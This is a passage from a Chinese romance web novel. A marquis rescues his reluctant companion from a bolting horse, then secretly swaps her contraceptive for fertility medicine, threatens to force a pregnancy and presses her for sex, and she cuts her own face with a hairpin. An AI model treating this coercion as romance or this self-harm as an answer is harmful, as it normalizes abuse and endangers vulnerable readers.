一会打水仗,一会捉鱼。 “想玩?”裴铉好笑问道,“你都这么大了,还喜欢玩这个?” 宁泠本来只是被这一幕吸引了,还没下去玩的打算。 可他的话说得忒难听了,她能有多大? 宁泠阴阳怪气道:“比起侯爷,还是很小。” 裴铉顿时被她噎住,忽地想起同僚们说,女人最提不得年岁。 他算是知晓这句话的含义了。 林韦德看着裴铉的神情变了变,暗想男人也提不得年龄,他还以为侯爷不介意这个。 裴铉走近小溪边上,立刻将几个小孩子吓住了。 他身形高大,气质矜贵,长得贵气俊朗,一看便知是庄子里的贵客。 许娘子小心侯在身后,听了刚才两人打嘴仗,才发现这位小娘子比她想象得还受宠。 小孩子们老老实实站在一堆,目光真诚带着害怕地望着裴铉。 裴铉掀开衣摆蹲下探了探水温,搅动了水池。 今日阳光不错,金黄色温暖散满大地却又不过分灼热。水温带着暖意并不沁人,她癸水刚走受不得凉。 “想玩就去吧。”裴铉收回手,修长的手指在一方锦帕上擦拭。 林韦德避嫌地站远了几步,在场的就他一个成年男性。 在府里端端正正约束久了,宁泠看着小孩子玩也来了兴致。 她蹲在小溪边脱了鞋袜,露出如玉的肌肤,纤细的脚踝,圆润可爱的脚趾。 她小心翼翼地用脚尖点了点水温,发现不凉才缓缓下去。 “你们继续玩。”宁泠温声安慰小孩子,“不用管他。” 小孩子们发现男人神情温柔,放下了悬着的心,一窝蜂地嬉戏玩闹。 一会弯着腰摸鱼,一会捧起一泓清水洒向小伙伴。 他们打闹殃及池鱼,宁泠差点被他们泼湿衣衫。 “不许对她泼水。”裴铉对几个小孩子厉声凶道。 水温虽然合适,可若打湿了衣衫,缕缕凉意沾染身体,再吹了风极容易感染风寒。 几个小孩子被他吼得脸色惨白,颤颤巍巍地愣在那里。 宁泠捧起一汪水猛地砸向裴铉:“就你多事。” 水砸在他脸上,水珠顺着轮廓分明的下颚流下,将胸膛处的衣衫浸湿。 裴铉看她像只灵动狡黠的狐狸,得意洋洋朝他一笑。 他眸色宠溺地看着她,无奈笑笑。 宁泠眼眸忽地一亮,发现了藏在石头缝里的鱼儿。 她蹑手蹑脚慢慢靠近,佝偻着背缓缓弯下,接着双手敏捷迅速地捉住,成功逮住了一条鱼儿。 宁泠颇有成就感地拿给大家看,周围小孩子纷纷鼓掌赞叹。 “刚好等会加一道菜。”裴铉看她费力抓着挣扎的鱼,出言提醒道:“你差不多也该上来了。” 宁泠不满地瘪瘪嘴,许娘子有眼力见地接过鱼。 宁泠掏出手帕擦干脚穿好鞋袜,察觉她穿戴整齐后,林韦德才走近一步问:“侯爷,不若去换身衣裳?” 马车内会常备几身衣衫,以备不时之需。 裴铉低头看了眼身前的衣衫:“好。” 裴铉和林韦德离开了,许娘子带着宁泠继续往灶房走。 “咱们庄子鸡鸭鱼鹅都有呢。”许娘子主动搭话,“连小马驹都有,姑娘要不要去试试?” 宁泠心神一动,在淮州时她忙里偷闲想学驾马,可没多久就被裴铉发现了。 “带我去看看。”她颇有兴趣道。 两人去灶房放了鱼后,许娘子就带着宁泠去马场。 马场了养了许多品种各异的马儿,体型差别很大,又高大威猛的骏马,也有供人玩乐的小马驹。 许娘子先牵了一匹温顺听话的小马驹过来,扶着宁泠上了马鞍后,她耐心教导着方法,然后牵住马儿在马场溜了一圈。 宁泠有心自己练练:“许娘子,让我自己试试吧。” 许娘子看她动作娴熟,又骑着的是小马驹,她放心地点点头。 宁泠骑着小马驹在马场跑了两圈,感觉不过瘾。 这种马估计还没驴跑得快,以后要想真能用上,还是要骑那些马。 “许娘子,你给我选一匹正常的马儿吧。”宁泠指着小马驹,“这个小孩子骑还差不多。” 许娘子面色犹豫,她知宁泠是贵人,怕她骑正常的马儿会受伤,一不小心从马背上摔下去,非死即残。 “你怕什么?”宁泠站在马棚处打量里面的马儿,“你选一匹温驯的马儿,先牵着绳带我走两圈,我又不是马上独自骑。” 她知道自己几斤几两,不会逞强硬上。 在黄记马车时,她干过最多的活就是牵马回马棚。 许娘子想想觉得她说得有理,牵马绳慢慢走两圈没什么危险。 她将宁泠领至一匹黑马面前停下:“姑娘,这匹马如何?” 宁泠的视线落在马儿身上,膘肥体壮,毛发丰茂,肌肉发达。 “是一匹好马。”宁泠点点头,又问道:“性情温驯吗?” 她在车马行也见过许多马儿了,看这马儿总觉得它气质桀骜不驯,实在不像是温驯听话的模样,倒像是一匹高傲的烈马。 “我可不敢让姑娘骑烈马。”许娘子笑笑回答。 宁泠只觉自己多虑了,许是车马行的马儿在外奔波久了,见惯人了,所以比其他地方的马亲和些。 “那就骑它。”宁泠想伸手去摸摸马头,被它躲开。 许娘子将马儿牵了出来,宁泠再伸手去抚摸它,它没有躲开。 宁泠放心了,在许娘子的帮助下上了马鞍,她刚将缰绳握在手心。 忽生变故,黑马开始暴躁不安,乱蹦乱跳。 许娘子和宁泠都被它吓了一跳,它先是载着宁泠挣脱了许娘子牵住的绳子,接着开始疯狂地打着圈,似乎很不喜欢宁泠骑在它身上,想要奋力甩下她。 宁泠吓得尖叫出声,许娘子更是吓傻了眼,马儿正在发狂,她不敢靠近。 换好衣服的裴铉刚好过来找宁泠,人还没有走近,骤然听见她害怕地尖叫声。 惊得他快跑上前,她骑在一匹黑马上,黑马暴躁乱动,左摇右晃想将她甩下身。 宁泠紧握缰绳,趴在马背上。 甩不掉宁泠,它又开始马身直立,势必要将宁泠踩踏于马蹄才肯善罢甘休。 宁泠面色慌张不安,手心被缰绳磨地发红疼痛。 “握紧缰绳,不准放!”裴铉眸色焦急,大吼道。 要是摔下了马,定会被发狂的马儿践踏一番,性命难保。 裴铉咬牙看着四周,林韦德没有跟来,他身上没有带任何武器。 他迅速动马棚里牵出一匹马,翻身上马,朝着宁泠周围跑去。 黑马的暴动将马场的沙尘扬起,漫天黄沙弥漫在空中。 裴铉小心控制地距离,朝宁泠大声道:“你跳过来,我接住你。” 宁泠紧紧拽住缰绳,为了不被甩下去,她几乎耗尽了所有力量。 她看着两匹马之间的距离,她哭着摇头:“我跳不过去。” 她的腿紧紧夹住马腹,手死死拉着缰绳,她几乎要脱力了。 情况危在 旦夕,宁泠的身体开始发麻了,她感觉她马上快要被甩下去。 裴铉的眉头紧皱,之前最好的办法是杀马,但没有趁手的武器。 他又想着让宁泠跳过来,他接住她。 可眼前这情形,她估计腿都吓软了,哪里还有多的力气。 黑马铁了心要将她甩下来,再泄愤踩踏他。 换成裴铉他尚有体力与黑马一较高下,看谁驯服谁? 可宁泠一个不懂马的人,又体力不支,被它甩下去是迟早的事情。 许是裴铉的靠近使黑马感受到威胁,它发出阵阵嘶鸣声,蹦跳的速度加快。 宁泠的眼泪止不住流下,糊了一脸。 裴铉咬咬牙,忽地从马背上跳了过去,将宁泠护在怀里。 “你过来做什么?”宁泠吓得声音都哑了。 裴铉不理会她,从宁泠的头上拔下簪子,将锐利的一端发狠刺向马脖子处。 马儿吃了痛,猛烈地挣扎。 裴铉举着银簪,连连刺向马儿的动脉处,动作迅速凶猛。 喷出鲜血将宁泠的脸染红。 黑马临死前拼命挣扎,宁泠早已浑身虚脱无力,它忽然整个马身仰天长立,宁泠不设防之间被甩了下去。 裴铉全神贯注留意黑马,刚要松口气时,发现了摇摇欲坠的宁泠。 他伸手去抓她,没抓住,宁泠的身体迅速坠向地面。 那一瞬间,裴铉的脑海一片空白,身体僵硬,连呼吸都停滞了。 他的身体比大脑更先做出决定,丢了簪子,他跳下马抱住宁泠,然后往外侧翻滚,尽量避开落下的马蹄。 宁泠早已吓得闭上眼眸,却忽地落入到他清香的怀抱里。 他将她紧紧拥在怀里,两人在坚硬的地面上翻滚几圈。 黑马的马蹄落下,宁泠感觉有重力落下,听见裴铉闷哼一声,她着急地睁开眼看见他嘴角溢出缕缕鲜血。 黑马早已受了重伤,越是奋力挣扎,流血的速度越快。 咚地一声重物倒地的声音,它死在了马场上。 裴铉俊逸脸上布满汗珠,他连嘴角的血都来不及擦拭,紧张地将身下的宁泠一把拉起。 “没事吧?”他声音很沉,着急的视线一寸寸检查宁泠,“哪里受伤没?” 宁泠愣了一瞬,忙问道:“我没事,你怎么样?” 话音刚落,裴铉就倒在了她怀里。 他生死不知,吓得宁泠的眼泪快速掉落,一颗颗砸在他脸上。 宁泠脸色惨白,要是裴铉为了救她死了,怎么办? 林韦德那处终于得了消息,火急火燎地带着人来。 刚带着人一路跑来,就看见宁泠抱着侯爷哭得肝肠寸断。 他眼皮一跳,快速走近几步。 又看见侯爷笑着睁开眼,还有心情调戏宁泠:“放心,不让你守寡。” 宁泠见他还能说话,觉得自己刚才嚎啕大哭丢脸极了,欲要推开他起身。 他又是闷哼一身,语气幽幽:“受伤了。” 宁泠顿时神情无措,不敢再动弹,害怕影响了他伤口。 林韦德命人用担架抬走了裴铉,宁泠愧疚地跟在后面。 若不是她一意孤行要去骑马,裴铉也不会因为救她而受伤。 林韦德请了太医前来诊治,幸好是马儿力竭后踢得人,加上裴铉躲避及时,只被踩踏了一次。 可还是断了两根背后的肋骨。 伤筋动骨不适合到处挪动,裴铉和宁泠留在庄子里静养几日。 有关烈马的事情很快被查,许娘子并不养马,不识马性。只会依靠马儿的位置知晓每匹马的脾性。原来那处的马儿的确是性情温驯,可后来养马的人打扫马棚时换了位置。 他没有及时告诉许娘子,又都是通体黑色的马儿,许娘子并未发现不妥。 她就领着宁泠去骑了这匹尚没有驯服的烈马。 三日后,裴铉一行人回了侯府。 争晖院里,紫叶端来汤药,裴铉欲伸手接过,又看见站在一旁的宁泠。 他朝宁泠努努嘴:“喂我喝药。” 宁泠看了眼他受伤的位置,是胸后背部的上前方,又不是手断了。 “伤口有点疼。”裴铉轻嘶了声。 宁泠又想起他是因为她受伤,认命地端起汤药,舀了一勺往他嘴边送。 裴铉不满道:“还烫呢,你不吹一吹。” 宁泠暗道一声矫情,但还是听话地吹凉后再喂他。 林韦德前来禀报消息时,刚好看见这一幕,暗暗皱眉,侯爷也不嫌一口口喝药,苦得慌。 “侯爷,我们原定出发回府那天,路上有些不对劲。”原本那日计划吃了午饭,下午便回府。 可因为裴铉受伤一事,他先快马加鞭回了盛安城去请太医。路上萧瑟寂静,危机四伏。 裴铉挑眉问道:“有人想暗杀我?” 林韦德点点头,当时那群刺客应该发现不对劲,知晓行程有变,为了不打草惊蛇退了。林韦德后来细心地派人去查,查到了些蛛丝马迹。 两人说话没有避开宁泠,吓得宁泠手轻微一抖,洒落些汤药出来。 裴铉打趣道:“胆子这么小,还想骑马?” 林韦德汇报完后,又悄无声息地退下,关好了门。 “我真没想骑马。”宁泠脸红辩解道:“我本打算让许娘子牵着马,走两圈的。” 裴铉伸手捏了捏她完全愈合的耳眼处:“你心里打什么主意,你自己清楚。” 无非是先试试手,发现可行再骑马。不然岂不是枉费了她在车马行的筹谋。 “不过你那天抱着我,哭得好大声啊。”裴铉继续取笑她。 宁泠羞红了脸,当时她也是着急,以为裴铉为了救她死了,一时间惶然,没了主意。 “宁泠以前有些事是我做的不对,可如今你也应该知晓我对你是真心的。”他眼眸深邃地望着她。 宁泠知道不是每个人都有舍命相救的勇气,那日在场的不止裴铉一个人,可只有他毫不犹豫地冲上来,想尽办法,她落马后他还选择坠马护着她。 自己受了伤,嘴角还冒着鲜血,却着急忙慌地检查她,那份真心的确做不了假。 宁泠心绪复杂,将药汤送至他嘴边:“喝吧,不然快凉了。” 裴铉嫌弃地看着药汤:“真苦。” 他平日身强体壮,鲜少喝药。 “药汤不都是苦的吗?”宁泠忍不住顶嘴,“你才喝了几天就嫌弃,我可每次还要喝” 她话说道一半,觉得不妥又闭了嘴。 裴铉笑脸吟吟:“宁泠不想喝就不喝,我命灶房不用熬了。” “不必。”宁泠脱口而出,态度坚决。 裴铉的眸色暗淡了些,语气失望:“宁泠还是不想和我好好过日子。” 宁泠哑口无言,可她认为救命之恩,不只有以身相许,这是两回事。 她喂他喝完药,府里的大夫来了,检查裴铉的伤势如何。 太医只留下了药方,每三日骨折处敷的草药还是府里的大夫操办。 大夫换药检查,宁泠闲在一边,忽地想起了刚才裴铉抱怨汤药苦,她答都苦。 看着忙碌的大夫,她心里有了分辨避子汤的方法。 第56章 第56章【VIP】 几天后林韦德命人将宁泠那根簪子送了回来,女眷的私物不可流落在外 宁泠看着那根簪子,上面的血迹已经消失不见,她将它擦拭后放回了梳妆台处的匣子里。 夜晚皎洁的月亮高挂于穹顶,夜深人静处偶有虫鸣声。 宁泠端着一盆热水,绞干帕子,脱鞋上了床榻帮裴铉擦身。 她先是给他洗了脸,看着他眉眼含笑乖乖任由她擦拭,竟无故生出他可爱的念想,宁泠摇摇头甩掉这些不切实际的想法,接着又给他擦手,他手生的骨肉均匀,手指修长很好看。 接着是宽广的胸膛,肌肉紧实,以及有劲的窄腰。她不得不暗叹,他生了一副好容貌,又有好身材。擦至绷带周围时,她很小心,生怕牵扯弄到了伤口。 干完后她端着脸盆就要离开,裴铉颇有几分恃宠而骄的模样:“就这?” 这些天他靠着救命之恩,在宁泠这儿可为屡战屡胜,勇往直前。 她心怀愧疚,再也没给他甩冷脸,甚至帮着照顾他。 “还要干什么?”宁泠转头问他。 “我是个正常的人,只管上半身是什么意思?”裴铉对她带笑问道。 宁泠无奈只能聊起他的裤脚,将那双大长腿擦了一遍。 “好了吧。”宁泠擦擦自己额头冒出的汗珠。 裴铉张扬的脸上笑意不减:“上半身、下半身你都擦了,中间呢?” 宁泠忽地才发现他真正的意图,气愤地将帕子甩他脸上:“无耻!” 裴铉笑得更加肆意,她骂人的词他都背熟了。 卑鄙无耻下流,混账畜生,约莫就这几句。 “你手没断!”宁泠语调加重。 裴铉神色的带点痛苦道:“手是没断,可是每每动作,牵一发而动全身呢,不利于养伤。而且我伺候宁泠沐浴时,可从没叫苦叫累一句。” 见宁泠被逗的小脸粉红,眼眸含水瞪着他。 裴铉知她脸皮薄,也怕真惹怒了她:“算了。” 宁泠却像是初生牛犊不怕虎,换了一方干净的汗巾,扒了他的裤子,闭着眼一顿乱搓。 结果才短短几息时间,就发现不太对劲。 裴铉忽地明白自己是自找苦吃,宁泠则神色尴尬地挪开眼。 视线落在他脚上,他不会还打算让她给他洗脚吧? 裴铉刚抬眸就发现宁泠直愣愣地盯着他脚,刹那间就明白了她的想法。 “想什么呢?”他抓了抓宁泠散在身后的头发,“我那敢让你做这些。” 她一向娇贵想得又多,认为他看不上她,瞧不起她的出身,再让她去干这些事情,岂不是自掘坟墓。 宁泠看了眼那处,害怕他乱来准备溜走:“那就好,我回去睡觉了,你也早点歇息养伤。” “急什么。”裴铉搂住欲逃跑的她,埋在她柔软的脖颈处,“你走了留我一个人在这?” 暗暗指责她没良心,宁泠马上反驳道:“晚上有值夜的人。” “他们怎能和你比?”裴铉声音放软,“而且我救得又不是他们。” “我睡觉不老实,晚上翻身压着你或踢着你怎么办?”宁泠面色担忧。 裴铉长叹一声:“说来说去,就是不愿意与我亲近些。俗话说滴水之恩,当涌泉相报,但宁泠夜里帮我倒杯水,怕是都不肯。” 宁泠听了有点心虚,犹豫片刻,还是和他一起歇下了。 若是她走了,他免不得说她白眼狼。 静谧安和的床帐内,宁泠熟睡中忽然惊醒,起身紧张地大喘气,额头沁出许多汗珠。 那日杀马时喷洒的温热鲜血,似乎又重复上演,她以前从没见过这种残忍血腥的场面,回来后总是心有余悸。 她的动作惊醒了身边的裴铉,他睁开惺忪的睡眼:“怎么了?” 他宽大温暖的手背,温柔地安抚着她的后背。 “做噩梦了。”宁泠用手帕擦了擦汗水。 裴铉略为思量后答道:“梦见我杀那匹马了?” 宁泠点点头,感觉脸上有鲜血黏腻感,欲下塌去洗洗。 “怪我?”裴铉拉着她如玉的手腕,“觉得我太残忍了?” “不会。”宁泠诧异地盯着他,“不是它死就是我亡,你好心舍命相救,我不怪你。” 不怪你这三个字,如同暖流在他心尖流淌,浑身都暖洋洋,舒服极了。 裴铉笑着问道:“那以前我做得不对的地方,宁泠也能不怪我吗?” 宁泠没吭声了,一码归一码。 裴铉拉起她小小软软的手覆在他的脖颈上:“是还在怪我那日失手掐你吗?” “快睡吧。”宁泠想挣脱被他抓住的手。 “那就是怪我了。”裴铉读懂了她的避而不答,“你掐回来,好不好?” 宁泠惊讶看了他一眼:“不用。” 狗咬你一口,难不成你还回去?她不想和裴铉来来回回,拉扯不清。 宁泠身上的冷汗洇湿了寝衣,她洗完脸后想要重新换一件干爽的。 她从柜子里找出一件干净的寝衣,想要去屏风后更换。 裴铉突然从背后搂住了她:“外面凉,去榻里换。” 宁泠不肯,扳开他手推了一下。 听见他吃痛嘶的一声,她又赶紧回身看他。 已是春季,屋里的炭盆早停了,但夜里的风有些还是带着丝丝凉意。 “忘了那次风寒躺了多久了?”裴铉将她拉回榻上,“真是不长记性。” 宁泠怕挣扎牵动他的伤口,老实地任由他拉扯。 床帐内,宁泠面色尴尬地望着他,这人脸皮真厚,直勾勾地看着她,她怎么好意思换呢? “澡我都帮你洗了多少次了。”裴铉眼眸不眨地看着她,虎视眈眈。 宁泠头皮发麻:“不换了,睡吧。” “被汗都浸湿了,不换会生病。”裴铉不依不饶,伸出手打算帮她换。 宁泠瞪了他下,扭过身背对他脱了寝衣,洁白光滑的后背在朦胧的夜里隐隐约约,裴铉顿感燥热。 他迫不及待地拥吻上去,密密麻麻的吻落在她的脖子上。 “你刚受了伤。”宁泠想推开他又不敢。 她来癸水忍了许久,加上养伤又忍了几日,算下来已有半月了,日日看得见摸得着,却吃不到嘴里。这不是要他命。 裴铉放软嗓音哄骗:“好宁泠,既知我受伤了,就疼疼我,让我舒畅一回。” “不行。”宁泠义正言辞,“你自己都说了,牵一发而动全身,不能加重伤势。” 裴铉黏在她身畔坏笑:“所以宁泠要心疼心疼我嘛,你主动些,我就没事了。” 他受伤不能动,她可是好好的。 从马背上摔下来,她受伤最严重的就是被缰绳磨破了手心,这几日早养好了。 宁泠圆圆的眼眸睁大:“你真下流!” 肋骨都断了两根了,还满脑子装这种事情。 “牡丹花下死做鬼也风流。”裴铉边笑边亲,“宁泠不会这么小气吧,这点小忙都不愿意帮。” “不帮。”宁泠咬着银牙,“我就是小气。” “待我伤好了,你求饶时我也铁石心肠。”裴铉见哄骗不行,又开始威胁了。 宁泠最怕他那种状态,不加节制,如狼似虎。 “可是我不想喝凉药了,太苦了。”宁泠开始服软。 裴铉心不在焉:“不想喝就不喝。” “我年纪还小,不喝有了孩子怎么办?”宁泠语气悲伤,很是低落。 “十八岁,当娘的人都一堆了。”裴铉轻柔地刮刮她的鼻子。 “我怕疼,听说生孩子活活疼死的都有。”宁泠说着说着,眼泪都要掉下了。 裴铉吻着她的眼角,沉声安慰:“不会的,我请最好的接生婆,最好的奶娘,一定保证宁泠平平安安。” “人有祸福旦夕,天有不测风云。”宁泠情绪低沉,“而且照侯爷的说法,历朝历代怎么会有难产而亡的皇后妃嫔?” 裴铉停下了动作,思量着她说的话。 她是怕疼,每每穿个耳眼,都要娇气哭许久,要是生个孩子,泪水估计都能淹了床榻。 裴铉又想起她坠马时,他的无能为力,那一刻心脏似乎都停止跳动了。 “我保证不弄进去。”裴铉俊逸的脸上卖弄可怜,温情款款望着她,“你总不能让我一辈子吃素吧,未免太欺负人了。” 怕苦不吃药,又怕生孩子,就只有这个法子了。 宁泠的脸红得娇艳,语气怀疑:“这个方法可行吗?” “东西都没,怎么有孕?”裴铉粗喘。 和她心猿意马理论了许久,他早已按耐不急。 宁泠倔着脸不肯,摆明了不相信他的话 急得裴铉将拍卖行拿的书翻出来,指给她看:“书上的原话,可不是我胡乱编排。” 宁泠彻底没话说了,事后也没眼看之前她 擦汗的那方手帕。 翌日一早,宁泠醒了要起身,裴铉按住了她:“大早上起床干什么?” “我想去帮你熬药。”宁泠理了理身后的长发。 “有下人熬药。”裴铉搂住她的细腰,“不用你操心,陪我再睡会。” “你因为我受伤,我想帮忙做点事。”宁泠的脸悄悄红了。 “你灶房那点手艺,去了也是帮倒忙。”裴铉逗她。 回想起上次她煮的面,估计把药也能煎糊了。 “我不会可以学。”宁泠辩解道:“侯爷愿意退一步,不强迫我,那我也愿意进一步,照顾好你。” 说完她脸颊娇羞地低下了头。熬药是计划的第一步,若是胎死腹中,后面就难了。 裴铉心里暗喜,看来宁泠是吃软不吃硬,越是步步紧逼,她越是反抗地厉害。 他退一退,她便能稍稍放下戒备。 其实她怕疼不愿生,也不是什么难事。她才大病了一场,待多养几年身子再生也不迟。 若是她心不甘情不愿有孕了,不知又要和他闹到什么时候。 “那好吧。”裴铉心情愉悦,“你主动亲我一口,我就放你。” 宁泠羞红了脸,在他脸颊落下一吻:“我去灶房熬药,你就不用再派人去通知了。” 昨夜裴铉答应宁泠不用喝药,本打算今早派人说一声,眼下倒是不必了。 宁泠到了灶房时,下人早已将药材浸泡在水里。其实裴铉若能次次弄外面,她没有必要再喝药。但裴铉阴晴不定,昨天肯却不能保证每次,她最好做两手准备。 她说明来意后,众人面面相觑。听见是侯爷应允了才放心。 “你们将两个药炉子帮我摆放在一起。”宁泠看着分开的炉子皱眉,“侯爷和我的药,我顺手一起熬了。” “是。”仆妇按照命令行事。 “左边铜盆是姑娘的药。”丫鬟细心说道:“右边的是侯爷的。” 宁泠点点头,表示记下了。后续丫鬟又讲解了不同药方要求的火候以及浸泡的时间。 期间有人来帮忙,都被宁泠一一拒绝。 宁泠按照要求煎药,估摸着大夫来给裴铉换药时。 忽地她恼怒大叫一声:“哎呀!” 临近午时,大家都在忙碌准备午饭的菜品等等,听见她说话,纷纷回头。 “可是受伤了?”有人着急问道。 府里谁不知她是侯爷的心尖宝,她受伤了,灶房的人谁有好果子吃? 宁泠摇摇头,不好意思道:“不是,是我手忙脚乱间,忘了哪边是侯爷的药,弄混了。” 大家齐齐松了口气,不甚在意道:“没事,我们再重新熬就是了。” 两边炉子里的汤药都黑乎乎,分不清有何不同。虽然可以从炉子里的药渣辨认,可灶房的人不懂药理。 “重新熬,恐怕时间来不及了,侯爷喝药的时辰是固定的。”宁泠神色为难,“他不会发火吧。” 再重新熬肯定来不及,但众人也没法子啊,总不能不熬,耽误了侯爷伤势可不行。 “今日大夫要来给侯爷换药,我请他来看一眼吧。”宁泠说出解决办法,“咱们不认识,他一眼就懂,不用再重新熬。” 灶房管事听后同意了,重新熬药又费时间又费力,说不定还要挨骂。 侯爷不舍得责怪宁泠,对他们可不一定。当下人的只有为主子背锅受罚的命。 他们去请大夫,人家可瞧不上眼,宁泠主动说去请,估计大夫也不好打她脸。 宁泠估摸着时间回了争晖院,身上带着一股子药味。 大夫正在为裴铉换药绑绷带,裴铉挑眉打趣问道:“不是说帮我熬药,现在药呢?” 之前大夫换药之前就喝了药,如今大夫药都换完了,药影子还没看见。 宁泠面色通红,似是心虚模样:“快了。” 裴铉不以为然,只当她笨手笨脚熬糊了,下人们只有重新熬,所以误了时间。 待大夫换完药后,宁泠起身说道:“药应该好了,我去端药。” 裴铉笑笑没戳穿,看着宁泠和大夫一同离开。 刚出了争晖院,宁泠对着大夫客气说道:“可否请您帮我一个忙?” 其实在灶房时,她可以直接偷拿药材,如此大费周折是为了不引起大夫的怀疑。 “姑娘有何事?”大夫拎着药箱问道。 宁泠面不改色道:“早上我想帮侯爷熬药,顺带一起熬了我的药,结果手忙脚乱间忘了炉子里到底是谁的药,又都是黑乎乎的,难以分辨。但幸好药渣还在,想请您帮我分辨下,免得浪费了药材重新熬。” 刚才室内两人的谈话,大夫都听见了。 心知宁泠不好意思让侯爷知晓,左右不是什么难事,他爽快答应。 带着大夫到了灶房,宁泠指着自己那炉问道:“麻烦您看看。” 她怕大夫先认了裴铉的药后,便不肯再看多说,所以特意将自己的药放在了进门后第一个位置。 大夫取了勺子,将里面的药材取出辨认:“里面有丹参、菟丝子、益母草等都是些疏肝理气,益肾助孕的药材,看来是姑娘的方子了。” 此话不亚于晴天霹雳,后来他说了什么宁泠一个字都没听进去,失魂落魄地送走了大夫。 下人窃窃私语,原以为是凉药,没想到竟是助孕的方子,宁泠比她们想象中还受宠。 宁泠送走了大夫后,人没再回来。可侯爷的汤药还在灶房,于是灶房管事派了小丫鬟去送。 争晖院内,裴铉紧皱眉头看着小丫鬟:“怎么是你送药,宁泠呢?” “宁姑娘听了大夫的话后魂不守舍地走了。”丫鬟回答。 裴铉顿觉不对,追问道:“大夫去灶房了?你速将全部交代清楚。” 见侯爷脸色不好看,丫鬟马上将来龙去脉一五一十交代清楚。 丫鬟走后,裴铉脸上浮现出冷笑,难怪她体贴地为他熬药,原来是打这主意。 每一次含情脉脉,温柔缱绻都是她的计谋。 以前为了逃跑迷惑他,现在为了查明真相又来这套。 偏偏他每次都上当。 裴铉命人去找宁泠,她冷静地待在偏房,没有像之前一样激动。 宁泠在偏房思考,此次癸水后,她与他只有昨晚一次,但他没弄里面,应是无碍。 裴铉主动找上门,看着又甩冷脸的宁泠,他语气嘲讽道:“知道真相心满意足了,不装了?” 昨夜还体贴温柔的甜蜜样,今天又恢复冷若寒霜的样子了。 宁泠不悦地皱眉,不知他有什么资格说这话,明明他欺瞒在先,却无一点悔过之心,他还冷嘲热讽。 她不理人,裴铉的脸色更难看,说话更不客气,口不择言:“知道又如何,我强行给你灌下去,你又能怎样?” 昨儿的什么退一步,裴铉抛之脑后。 “裴铉,你不认为一个男人靠这种手段要孩子,既可悲又失败吗?”宁泠沉着冷静问道。 宁泠希望孩子是在两情相悦,爱和期待中诞生。她知道裴铉的算盘,将孩子当做她的牵绊,阻止她逃跑的手段,仅此而已。他以后也会有很多孩子,尤其是当做继承人的嫡子,她不希望自己的孩子是个工具。 裴铉眸色阴鸷,不屑冷笑:“我可悲?手段如何不重要,结果好就行。” “什么样的结果才好。”宁泠不能理解他,“强迫生下的孩子就好?” “对。”裴铉一口咬定。 昨天他还想着不逼她,不想将两人之间的距离越推越远。 现在他改变主意了,宁泠对他没有一点真心,哪怕一丝都没有。 他手段强迫也罢,怀柔服软也好,她离开的决心不会动摇丁点。 有个孩子就不一样了,她心软待下人们都好,更遑论自己的孩子,她对他一定能狠下心,但对孩子不可能。 裴铉走至她身旁,笑得如沐春风:“你不爱喝药,以后都不喝了。” 肌肤相贴,感觉道他身体的骇人形势,宁泠想退开,却被他紧紧禁锢于怀里。 察觉他的情绪不对劲,宁泠声音放软了些:“你昨晚答应了我,不会让我有孕。” “是啊。”裴铉笑着回答,话锋一转,“可是我反悔了,谁让你今天蒙骗我,又把我哄得团团转。” “难道不是你欺瞒换药在 先?“宁泠语气带着怒意。 “多说无益,我已下定决心。”裴铉决计不会再被她蒙骗,也不许自己再心软。 她每每拿捏他的心软,诡计多端。 他伸手要去脱她衣衫,宁泠吓得拼命挣扎,现在他不肯再给她凉药,也定不会听话地弄外面。 长此以往,想没有都难。 他的两只手强势地撑在梳妆台两侧,宁泠在狭小的空间无处可躲。 反抗时她无意掀开了木匣子,露出了里面杀马用过的簪子。 宁泠的脑海里全是反抗离开,不知从何处来的勇气,她眼疾手快一把抓住簪子,将锋利泛着冷光的尖锐处抵着裴铉的肩膀威胁道:“不许动!” 她的簪子正好抵住被绷带包裹的受伤处,两人仔细一瞧后都愣了下。 裴铉气笑了,发疯似将她的手腕擒住,却不扔掉簪子,而是带动着她的手上移,直接抵住他脖颈的命门。 “刺那算什么,你有本事直接杀了我!” 第57章 第57章【VIP】 两人间气愤剑拔弩张间,林韦德忽地闯了进来。 是紫叶在外面听见声势不对,请人去找得他,听见宁泠知晓东窗事发了,林韦德心里咯噔一声,又完了。 他不管不顾地撞开了偏房的门,闯了进去。 映入眼帘的景象,宁泠眼眸发狠地紧紧握着簪子抵住裴铉脆弱的脖颈上。 “宁姑娘,冷静。”林韦德心头发颤。 “滚出去。”裴铉瞥了眼林韦德,又对宁泠嚣张道:“刺啊,为什么不下手,是不是心软了?” 宁泠拿着簪子的手发抖,林韦德苦口婆心劝说:“宁姑娘,侯爷为了救你,断了两根肋骨还没好,你可不能恩将仇报啊。” “叫你滚出去,听不见吗?”裴铉对林韦德怒喝道。 他倒要看看自己以命相搏救下的人,要怎么对他? 宁泠冷冷看着他受伤的肩膀,心里满是无奈,她真的下不了手。 他欺瞒骗她是真,可舍命相救也是真,她做不到杀他,可她放了他,被逼上绝路的就是自己。 她会被迫生个孩子,永远困在侯府。 林韦德急得满头大汗,上次侯爷虽然掐着宁泠不放。 可他心里还是有几分把握的,侯爷一时情急失手掐她是真,可从没想过杀她。 不然依侯爷的手劲,哪里轮到他有时间劝说。 只需喊一声侯爷,理智回笼,立刻顺势放了她。 可宁泠厌恶不喜侯爷是真啊,一簪子下去戳个血窟窿,焉有性命? 宁泠手抖个不停,迟迟想不出解决办法。 裴铉偏要激怒她:“下手啊,还等什么,你下不了手,那以后就只能仍由我摆布了。” 他厌恶了惶恐不安,她逃他追的戏码,这次他要宁泠认命。 、 两人僵持,宁泠虽然手里拿着利器,却完全处于劣势,进退维谷。 有恃无恐的裴铉倏地笑笑,他咬定宁泠不会恩将仇报,她下不去手。 如果在他没有救她之前,宁泠或许能下得了手。 可现在她过不了自己良心那关,那两个肋骨断得值。 电光火石间,宁泠忽地放了裴铉,神色坚毅决然,接着用力在她右侧脸上划了一道伤口。 裴铉不就贪图她的容貌和身体吗?她毁了脸偏不让他称心如意。 这一幕猝不及防,裴铉和林韦德都没反应过来。 待宁泠脸颊处的鲜血顺着伤口流出,她举着簪子欲要再划脸。 裴铉发疯似地上前夺了簪子,怒喝道:“你在干什么?” 他宁愿那簪子刺在自己身上,都不愿意这般。 宁泠看着他发狂的模样,唇角满意地上扬。 林韦德一个头两个大,慌里慌张地去请大夫。 室内只留下裴铉和宁泠,两人之间形势彻底转换,她报复性地继续激怒他。 宁泠白藕似的手臂搂住裴铉:“刚才侯爷不是想吗?现在时机刚好合适。” 如妖冶迷人心窍的妖精,紧紧勾住他的腰。 她没了他喜欢的容貌,再惹了他的厌弃,出府不就简单多了。 